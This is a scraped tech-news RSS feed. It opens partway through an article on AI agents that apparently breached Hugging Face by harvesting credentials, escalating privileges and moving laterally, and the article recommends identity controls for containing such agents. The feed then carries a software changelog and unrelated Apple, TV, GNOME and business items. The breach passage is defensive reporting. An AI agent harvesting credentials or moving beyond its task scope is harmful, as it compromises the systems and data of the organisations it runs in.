underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
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<title><![CDATA[v2.1.218]]></title>
<description><![CDATA[What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U,...]]></description>
<link>https://tsecurity.de/de/3687638/downloads/v21218/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687638/downloads/v21218/</guid>
<pubDate>Wed, 22 Jul 2026 23:32:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Changed <code>/code-review</code> to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target</li>
<li>Added screen-reader announcements of deleted text for word and line deletions (<code>Option+Delete</code>, <code>Ctrl+W</code>, <code>Cmd+Backspace</code>, <code>Ctrl+U</code>, <code>Ctrl+K</code>) in <code>--ax-screen-reader</code> mode</li>
<li>Fixed Windows paths with <code>\u</code>-prefixed segments (like <code>C:\Users\unicorn</code>) being corrupted into CJK characters in tool inputs, which made those files inaccessible</li>
<li>Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed multi-line paste collapsing into one line with <code>j</code> in place of newlines in terminals that encode pasted newlines as Ctrl+J</li>
<li>Fixed <code>/context</code> reporting stale pre-compact token usage after compacting from the message picker</li>
<li>Fixed <code>/ultrareview</code> failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings</li>
<li>Fixed <code>/code-review ultra</code> silently running a local review in non-interactive sessions — it now launches the cloud review</li>
<li>Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates</li>
<li>Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped</li>
<li>Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected</li>
<li>Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired <code>tool_use</code> block left in the transcript when a tool aborted mid-response</li>
<li>Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in <code>--ax-screen-reader</code> mode</li>
<li>Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation</li>
<li>Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees</li>
<li>Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR</li>
<li>Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks</li>
<li>Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock</li>
<li>Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai</li>
<li>Fixed prompt history entries being dropped or duplicated when history writes raced or failed</li>
<li>Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; <code>Ctrl+B</code> backgrounding now applies the same background-shell caps as other paths</li>
<li>Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust</li>
<li>Fixed fork-session lineage being lost after compaction in headless and SDK sessions</li>
<li>Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment</li>
<li>Improved <code>/ultrareview</code> error feedback so Claude can correct an invalid argument instead of retrying it unchanged</li>
<li>Improved auto mode: the dangerous-rm, background-<code>&amp;</code>, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead</li>
<li>Improved sandbox command restrictions for IDE interactions</li>
<li>Improved trust dialogs to name the repository root the grant covers</li>
<li>Changed <code>/deep-research</code> to start only when invoked manually; Claude no longer launches it on its own</li>
<li>Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead</li>
<li>Added an announcement when fast mode changes as a result of switching models via <code>/config model=&lt;x&gt;</code> or Remote Control</li>
<li>Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt</li>
<li>Changed agent markdown files to reject agent names containing <code>:</code>, which is reserved for plugin namespacing</li>
<li>Changed skills with <code>context: fork</code> to run in the background by default; opt out per skill with <code>background: false</code></li>
<li>Added <code>yes</code>/<code>no</code>/<code>on</code>/<code>off</code>/<code>1</code>/<code>0</code> (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside <code>true</code>/<code>false</code></li>
<li>Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever</li>
</ul>]]></content:encoded>
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<item>
<title><![CDATA[Apple Plans 11 New Macs With M6 Chips, OLED MacBook Pro, New iMac and More]]></title>
<description><![CDATA[Apple is preparing to update every Mac model it sells over the next two years, with new MacBook Pro, MacBook Air, iMac, Mac mini, Mac Studio and MacBook Neo models now moving through development.



Bloomberg’s Mark Gurman reports that Apple will begin the refresh cycle in fall 2026 with an entry...]]></description>
<link>https://tsecurity.de/de/3687365/ios-mac-os/apple-plans-11-new-macs-with-m6-chips-oled-macbook-pro-new-imac-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687365/ios-mac-os/apple-plans-11-new-macs-with-m6-chips-oled-macbook-pro-new-imac-and-more/</guid>
<pubDate>Wed, 22 Jul 2026 21:01:02 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is preparing to update every Mac model it sells over the next two years, with new MacBook Pro, MacBook Air, iMac, Mac mini, Mac Studio and MacBook Neo models now moving through development.



Bloomberg’s Mark Gurman reports that Apple will begin the refresh cycle in fall 2026 with an entry-level 14-inch MacBook Pro powered by the M6 chip, alongside the first updated iMac models in two years.



Apple Mac roadmap for 2026 and beyond



Apple has several Mac launches planned across late 2026, 2027 and 2028, although memory shortages could affect the timing of some desktop models.




Entry-level 14-inch MacBook Pro: Apple plans to launch this model in fall 2026 with the M6 chip, while keeping a design similar to the current version.



Updated iMac: New iMac models are also expected in fall 2026, with development reportedly complete for devices carrying the internal names J833 and J834.



Redesigned MacBook Pro: Apple is preparing new 14-inch and 16-inch models with OLED touchscreens, a revised design and M5 Pro or M5 Max chips for late 2026 or early 2027.



MacBook Air: Refreshed 13-inch and 15-inch models are expected in early 2027, although they will remain visually similar to the current generation.



Mac mini and Mac Studio: Apple is testing Mac mini models with M5 Pro and M6 chips, while Mac Studio testing includes M5 Max and M5 Ultra options.



MacBook Neo: Apple is developing an updated budget model with an A19 Pro chip, additional memory and new colour choices.




Apple is also working on a standard M7 MacBook Pro for 2027, followed by high-end M7 Pro and M7 Max models between late 2027 and early 2028.



OLED technology will gradually reach more Mac products, with an OLED MacBook Air planned for 2028 at the earliest and an OLED iMac also under development. Apple has not announced launch dates for these future models.]]></content:encoded>
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<title><![CDATA[Ted Lasso Season 4 Early Buzz Says New Episodes Bring Back Season 1 Magic]]></title>
<description><![CDATA[Ted Lasso season 4 is almost here, and early reports suggest fans have good reason to feel excited about the show's return. The new season premieres on August 5 with its first episode, followed by weekly releases through October 7, and people close to the production believe it delivers a stronger...]]></description>
<link>https://tsecurity.de/de/3687335/ios-mac-os/ted-lasso-season-4-early-buzz-says-new-episodes-bring-back-season-1-magic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687335/ios-mac-os/ted-lasso-season-4-early-buzz-says-new-episodes-bring-back-season-1-magic/</guid>
<pubDate>Wed, 22 Jul 2026 20:40:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ted Lasso season 4 is almost here, and early reports suggest fans have good reason to feel excited about the show's return. The new season premieres on August 5 with its first episode, followed by weekly releases through October 7, and people close to the production believe it delivers a stronger story than season 3 while bringing back the charm that made the series a global hit.



The Hollywood Reporter recently shared an in-depth look at how season 4 came together, revealing that Jason Sudeikis originally planned to end the series after three seasons before changing his mind. Instead of moving ahead with one of several spinoff ideas, including projects centered on Roy Kent and Keeley Jones, the creative team decided to continue the main story with a fresh direction.



Season 4 shifts its focus to AFC Richmond's women's team, which was teased during the season 3 finale. Jason Sudeikis returns as Ted Lasso, while Hannah Waddingham, Juno Temple, Brett Goldstein, and several familiar faces also reprise their roles. The team also welcomed sitcom veteran Jack Burditt, who joined as co-showrunner to help keep production on schedule while Sudeikis continued leading the creative side.



Although critics have not published reviews yet, people involved with the series have shared positive reactions behind the scenes. Brett Goldstein said the new season has some of the season 1 magic, and several others reportedly share the same opinion. Internal feedback also describes season 4 as considerably stronger than season 3, which received mixed reactions because of its longer episodes and production challenges.



Jason Sudeikis said he finally returned because he still had more stories to tell, and he believes Ted Lasso remains meaningful for both him and the audience. If season 4 performs well, the writers expect to begin planning a fifth season, with Sudeikis already thinking about another three-season story arc.]]></content:encoded>
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<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[[$] Save and restore may be coming to GNOME]]></title>
<description><![CDATA[One of the features that users often miss when moving from X11 to Wayland is
the ability to save and restore the position of windows between sessions. At GUADEC 2026, held in
A Coruña, Spain, Adrian Vovk provided an overview of work that has gone
into providing a platform-wide save and restore fr...]]></description>
<link>https://tsecurity.de/de/3687114/linux-tipps/save-and-restore-may-be-coming-to-gnome/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687114/linux-tipps/save-and-restore-may-be-coming-to-gnome/</guid>
<pubDate>Wed, 22 Jul 2026 19:14:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>One of the features that users often miss when moving from X11 to Wayland is
the ability to save and restore the position of windows between sessions. At <a href="https://events.gnome.org/event/306/">GUADEC 2026</a>, held in
A Coruña, Spain, Adrian Vovk provided an overview of work that has gone
into providing a platform-wide save and restore framework for GNOME. After two
failed attempts at landing an API, he believes that the third try will be the
one to succeed—though not in time for the upcoming GNOME 51 release
due in October.</p>]]></content:encoded>
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<title><![CDATA[The engineering bottleneck has changed. Is your org prepared?]]></title>
<description><![CDATA[AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.



That judgement has always been the hard part of...]]></description>
<link>https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</guid>
<pubDate>Wed, 22 Jul 2026 18:28:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.</p>



<p class="wp-block-paragraph">That judgement has always been the hard part of engineering. It just used to be bundled into the act of writing code, where a skilled engineer did it while typing. As agents take on more of the typing, that judgement separates out and becomes the clear center of the role. Leaders who adapt early will get their metrics, their talent pipelines, and their delivery models working with this shift rather than against it.</p>



<h3 class="wp-block-heading">Judgement is defining, constraining, and deciding</h3>



<p class="wp-block-paragraph">Judgement is all about defining the problem precisely enough that an agent builds the right thing. It’s setting the constraints the agent won’t infer on its own. It’s spotting the tradeoff buried three layers down that only shows up if you understand the system. And it’s looking at a finished implementation and knowing whether it’s genuinely good enough to ship.</p>



<p class="wp-block-paragraph">This is the harder part of the job and the real driver of quality. It was easy to underrate when it lived inside day-to-day coding. Now it’s what separates a strong team from an average one.</p>



<h3 class="wp-block-heading">The shift changes where time, growth, and metrics go</h3>



<p class="wp-block-paragraph">If the high-value activity is intent, review, and judgement rather than raw output, a few assumptions are worth revisiting.</p>



<p class="wp-block-paragraph"><strong>Where engineers spend their time.</strong> Less of the day goes to producing boilerplate and mechanical implementation, and more goes to the reasoning that used to get squeezed to the edges: framing the problem and owning the judgement calls that determine quality.</p>



<p class="wp-block-paragraph"><strong>How teams grow their people.</strong> Defining problems well, spotting risk, and critically evaluating work you didn’t write yourself have always been senior skills. When agents handle more of the mechanical work, those skills become learnable earlier. That puts the emphasis on leaders to teach the reasoning: why a choice gets made and how to weigh the tradeoffs that come with it.</p>



<p class="wp-block-paragraph"><strong>What you measure.</strong> Lines shipped, tickets closed, and velocity charts all measured throughput of the old scarce resource. They say very little about the new one. The teams that adapt will start measuring the quality of intent going in and the reliability of judgement coming out, because that’s where the results now live.</p>



<h3 class="wp-block-heading">Reinvest the time you get back</h3>



<p class="wp-block-paragraph">The tempting response is to treat the freed-up capacity as pure speed: same work, same tooling, just faster. That captures the easy win and misses the real one. If engineers spend their reclaimed time reviewing a rising volume of agent output with no better context than before, review quietly becomes the new constraint, and you’ve moved the problem rather than solved it.</p>



<p class="wp-block-paragraph">The organizations that get ahead will invest the reclaimed capacity into the judgement layer: creating stronger specs and acceptance criteria before work starts, building review practices that test agent output against intent, and capturing the reasoning behind decisions where the next person can find it, so it doesn’t have to be reconstructed every time. That’s how the shift becomes an advantage for your team.</p>



<h3 class="wp-block-heading">The through-line for leaders</h3>



<p class="wp-block-paragraph">The engineering job is moving up a level, from executing the work to directing and validating it. That’s a more strategic role, and it rewards clarity of thought over speed of output. Leaders who see the shift early can help their engineers grow into the work that’s now most valuable.</p>



<p class="wp-block-paragraph">See how leading engineering organizations are operationalizing this shift at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-2" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>
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<title><![CDATA[White House wants to shift billions of dollars of research funding away from ‘slow consensus peer review’ and into individual scientists and AI]]></title>
<description><![CDATA[Moving funding to individual scientists and AI could undermine US scientific credibility at home and abroad.]]></description>
<link>https://tsecurity.de/de/3686721/it-nachrichten/white-house-wants-to-shift-billions-of-dollars-of-research-funding-away-from-slow-consensus-peer-review-and-into-individual-scientists-and-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686721/it-nachrichten/white-house-wants-to-shift-billions-of-dollars-of-research-funding-away-from-slow-consensus-peer-review-and-into-individual-scientists-and-ai/</guid>
<pubDate>Wed, 22 Jul 2026 16:57:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Moving funding to individual scientists and AI could undermine US scientific credibility at home and abroad.]]></content:encoded>
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<title><![CDATA[The compound effect your AI adoption strategy is missing]]></title>
<description><![CDATA[For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.



The step from individual AI adoption ...]]></description>
<link>https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</guid>
<pubDate>Wed, 22 Jul 2026 16:23:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.</p>



<p class="wp-block-paragraph">The step from individual AI adoption to team advantage is one many organizations haven’t taken yet, but it’s the step where real ROI lives. Make the leap and every individual gain starts compounding into something the whole team feels.</p>



<h3 class="wp-block-heading">Faster individuals, but the same team pace</h3>



<p class="wp-block-paragraph">A developer with a good AI assistant can produce more and produce faster, but ten developers all doing that, each in their own way, with their own tools and their own context, don’t add up to a team that is ten times better. More often they add up to a team moving faster in ten different directions.</p>



<p class="wp-block-paragraph">The speed stays with the person who created it. The reasoning, context, and decisions that the rest of the team would need to build on that speed gets lost.</p>



<p class="wp-block-paragraph">These three structural problems explain why:</p>



<h3 class="wp-block-heading">Problem #1: Context evaporates at scale</h3>



<p class="wp-block-paragraph">An engineer spends an hour with an AI agent working through a hard design decision. They land somewhere good. The code ships. But the reasoning, the alternatives they ruled out, and the constraints they discovered stay in a chat history nobody else will ever open. Six weeks later a teammate touches the same system, has no idea any of that thinking happened, and starts over.</p>



<p class="wp-block-paragraph">You can’t prompt your way out of a context vacuum. Agents and teammates alike are only as good as the context they start with, and right now most of that context is being generated and immediately lost. The teams that pull ahead will be the ones that treat the reasoning around the work as something worth capturing.</p>



<h3 class="wp-block-heading">Problem #2: Misalignment creates duplicative work</h3>



<p class="wp-block-paragraph">When individuals move fast in parallel without a shared source of truth, they start stepping on each other’s toes. Two people solve the same problem two different ways. An agent generates a change against a spec that quietly went stale last week. A confidently written pull request follows the wrong internal standard because the standard lived in someone’s head, not in the workflow.</p>



<p class="wp-block-paragraph">This problem gets worse as more of the work becomes agent-driven. Agents overwrite each other. Specs drift out of date faster than anyone updates them. The faster the individual pieces move, the more expensive the collisions become.</p>



<h3 class="wp-block-heading">Problem #3: Trust doesn’t scale</h3>



<p class="wp-block-paragraph">The quiet tax on AI-assisted work is review. If an individual developer can’t see how a piece of work was produced, what the intent was, what the agent was told, what standards it was working against, then they can’t confidently build on it. So, they re-check it, or rewrite it, or route around it. The individual saved an hour. The team spent two earning back the trust.</p>



<p class="wp-block-paragraph">Trust transfers when intent is legible. When a teammate or a reviewer can see what was meant, what was decided, and what guardrails applied, they can accept the work and move on. When they can’t, every handoff becomes a re-litigation.</p>



<h3 class="wp-block-heading">Turning adoption into advantage</h3>



<p class="wp-block-paragraph">The through-line across all three problems is the same. The value of AI at the team level does not live in the code any single person or agent produces. It lives in whether the intent and context around that work is captured, shared, and reusable by everyone else, human and agent.</p>



<p class="wp-block-paragraph">That reframes the leadership job. It’s not about driving more adoption, because your teams already handled that. It’s about building the connective layer that turns individual output into team capability.</p>



<h3 class="wp-block-heading">The window is now</h3>



<p class="wp-block-paragraph">This matters more every month, because the individual productivity story is about to become an agent orchestration story. The organizations that turn individual adoption into team advantage now, while the habits are still forming, will be the ones whose agents actually compound.</p>



<p class="wp-block-paragraph">See how engineering leaders are building the connective layer between individual AI adoption and team-level compound returns at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-1" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Swimlane AI SOC automates security operations for MSSPs]]></title>
<description><![CDATA[Swimlane has announced the launch of Swimlane AI SOC for MSSPs, which the company says is designed to empower managed security service providers through agentic AI automation rather than compete for their customers. Some AI SOC providers are moving into…
Read more →
The post Swimlane AI SOC autom...]]></description>
<link>https://tsecurity.de/de/3686600/it-security-nachrichten/swimlane-ai-soc-automates-security-operations-for-mssps/</link>
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<pubDate>Wed, 22 Jul 2026 16:09:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Swimlane has announced the launch of Swimlane AI SOC for MSSPs, which the company says is designed to empower managed security service providers through agentic AI automation rather than compete for their customers. Some AI SOC providers are moving into…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/swimlane-ai-soc-automates-security-operations-for-mssps/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/swimlane-ai-soc-automates-security-operations-for-mssps/">Swimlane AI SOC automates security operations for MSSPs</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Swimlane AI SOC automates security operations for MSSPs]]></title>
<description><![CDATA[Swimlane has announced the launch of Swimlane AI SOC for MSSPs, which the company says is designed to empower managed security service providers through agentic AI automation rather than compete for their customers. Some AI SOC providers are moving into managed services, turning former partners i...]]></description>
<link>https://tsecurity.de/de/3686582/it-security-nachrichten/swimlane-ai-soc-automates-security-operations-for-mssps/</link>
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<pubDate>Wed, 22 Jul 2026 15:53:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
